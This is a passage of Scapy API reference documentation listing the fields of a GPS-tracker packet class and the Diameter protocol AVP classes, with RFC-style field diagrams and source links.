|               |D|A|C|ALARM|G|O| VOLTAGE LEVEL |GSM SIGNAL STRE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| COMMAND LENGTH|                SERVER FLAG BIT                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        COMMAND CONTENT        | ALARM EXTENDED|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    LANGUAGE   |SUBPROTOCOL NUM|        EXTERNAL BATTERY       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EXTERNAL IO DET|   INFORMATION SERIAL NUMBER   |      CRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. CRX1NewPacketContent                     


CRX1NewPacketContent fields






	protocol_number

	XByteEnumField

	18



	terminal_id

	BCDStrFixedLenField (Cond)

	b'00000000'



	year

	ByteField (Cond)

	0



	month

	ByteField (Cond)

	1



	day

	ByteField (Cond)

	1



	hour

	ByteField (Cond)

	0



	minute

	ByteField (Cond)

	0



	second

	ByteField (Cond)

	0



	gps_information_length

	BitField (Cond) (4 bits)

	0



	positioning_satellite_number

	BitField (Cond) (4 bits)

	0



	latitude

	ScalingField (Cond)

	0



	longitude

	ScalingField (Cond)

	0



	speed

	ByteField (Cond)

	0



	course

	BitField (Cond) (10 bits)

	0



	latitude_hemisphere

	BitEnumField (Cond)

	0



	longitude_hemisphere

	BitEnumField (Cond)

	0



	gps_been_positioning

	BitEnumField (Cond)

	0



	gps_status

	BitEnumField (Cond)

	0



	course_status_reserved

	BitField (Cond) (2 bits)

	0



	lbs_length

	ByteField (Cond)

	0



	mcc

	XShortField (Cond)

	0



	mnc

	XByteField (Cond)

	0



	lac

	XShortField (Cond)

	0



	cell_id

	X3BytesField (Cond)

	0



	mileage

	IntField (Cond)

	0



	defence

	BitEnumField (Cond)

	0



	acc

	BitEnumField (Cond)

	0



	charge

	BitEnumField (Cond)

	0



	alarm

	BitEnumField (Cond)

	0



	gps_tracking

	BitEnumField (Cond)

	0



	oil_and_eletricity

	BitEnumField (Cond)

	0



	voltage_level

	ByteEnumField (Cond)

	0



	gsm_signal_strength

	ByteEnumField (Cond)

	0



	command_length

	FieldLenField (Cond)

	None



	server_flag_bit

	XIntField (Cond)

	0



	command_content

	StrLenField (Cond)

	b''



	alarm_extended

	ByteEnumField (Cond)

	0



	language

	ByteEnumField (Cond)

	0



	subprotocol_number

	ByteEnumField (Cond)

	0



	external_battery

	ShortField (Cond)

	0



	external_io_detection

	FlagsField (Cond)

	<Flag 0 ()>



	information_serial_number

	XShortField

	None



	crc

	XShortField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.diameter

Diameter protocol implementation for Scapy


	This implements the base Diameter protocol RFC6733 and the additional standards:  # noqa: E501
	RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777  # noqa: E501
ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12),  # noqa: E501
ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12),  # noqa: E501
ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03),  # noqa: E501
ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09),  # noqa: E501
ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12)



	IMPORTANT note:
	
	
	Some Diameter fields (Unsigned64, Float32, …) have not been tested yet due to lack  # noqa: E501
	of network captures containing AVPs of that types contributions are welcomed.  # noqa: E501














	
scapy.contrib.diameter.AVP(avpId, **fields)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L390-L439]

	Craft an AVP based on its id and optional parameter fields






	
class scapy.contrib.diameter.AVPFlags(name: str, default: int | FlagValue | None, size: int, names: List[str] | str | Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L123-L140]

	Bases: FlagsField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L124-L140]

	








	
class scapy.contrib.diameter.AVPNV_Address(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L602-L606]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVPNV_Address                        


AVPNV_Address fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	Address

	b''















	
class scapy.contrib.diameter.AVPNV_Grouped(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L538-L542]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVPNV_Grouped                        


AVPNV_Grouped fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	PacketListField

	[]















	
class scapy.contrib.diameter.AVPNV_IPFilterRule(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L616-L620]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. AVPNV_IPFilterRule                      


AVPNV_IPFilterRule fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	IPFilterRule

	None















	
class scapy.contrib.diameter.AVPNV_Integer32(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L560-L562]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPNV_Integer32                       


AVPNV_Integer32 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Integer32

	None















	
class scapy.contrib.diameter.AVPNV_Integer64(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L580-L582]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPNV_Integer64                       


AVPNV_Integer64 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	val

	Integer64

	None















	
class scapy.contrib.diameter.AVPNV_OctetString(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L523-L527]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AVPNV_OctetString                      


AVPNV_OctetString fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	OctetString

	None















	
class scapy.contrib.diameter.AVPNV_QoSFilterRule(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L630-L634]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. AVPNV_QoSFilterRule                     


AVPNV_QoSFilterRule fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	QoSFilterRule

	None















	
class scapy.contrib.diameter.AVPNV_StrLenField(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L509-L513]

	Bases: AVP_VL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AVPNV_StrLenField                      


AVPNV_StrLenField fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	val

	StrLenField

	None















	
class scapy.contrib.diameter.AVPNV_Time(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L590-L592]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. AVPNV_Time                          


AVPNV_Time fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Time

	None















	
class scapy.contrib.diameter.AVPNV_Unsigned32(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L550-L552]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. AVPNV_Unsigned32                       


AVPNV_Unsigned32 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Unsigned32

	None















	
class scapy.contrib.diameter.AVPNV_Unsigned64(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L570-L572]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. AVPNV_Unsigned64                       


AVPNV_Unsigned64 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	val

	Unsigned64

	None















	
class scapy.contrib.diameter.AVPV_Address(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L595-L599]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVPV_Address                         


AVPV_Address fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	Address

	b''















	
class scapy.contrib.diameter.AVPV_Grouped(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L530-L535]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVPV_Grouped                         


AVPV_Grouped fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	PacketListField

	[]















	
class scapy.contrib.diameter.AVPV_IPFilterRule(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L609-L613]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AVPV_IPFilterRule                      


AVPV_IPFilterRule fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	IPFilterRule

	None















	
class scapy.contrib.diameter.AVPV_Integer32(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L555-L557]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPV_Integer32                        


AVPV_Integer32 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Integer32

	None















	
class scapy.contrib.diameter.AVPV_Integer64(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=20, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L575-L577]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPV_Integer64                        


AVPV_Integer64 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	20



	avpVnd

	AVPVendor

	0



	val

	Integer64

	None















	
class scapy.contrib.diameter.AVPV_OctetString(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L516-L520]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AVPV_OctetString                       


AVPV_OctetString fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	OctetString

	None















	
class scapy.contrib.diameter.AVPV_QoSFilterRule(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L623-L627]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. AVPV_QoSFilterRule                      


AVPV_QoSFilterRule fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	QoSFilterRule

	None















	
class scapy.contrib.diameter.AVPV_StrLenField(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L502-L506]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
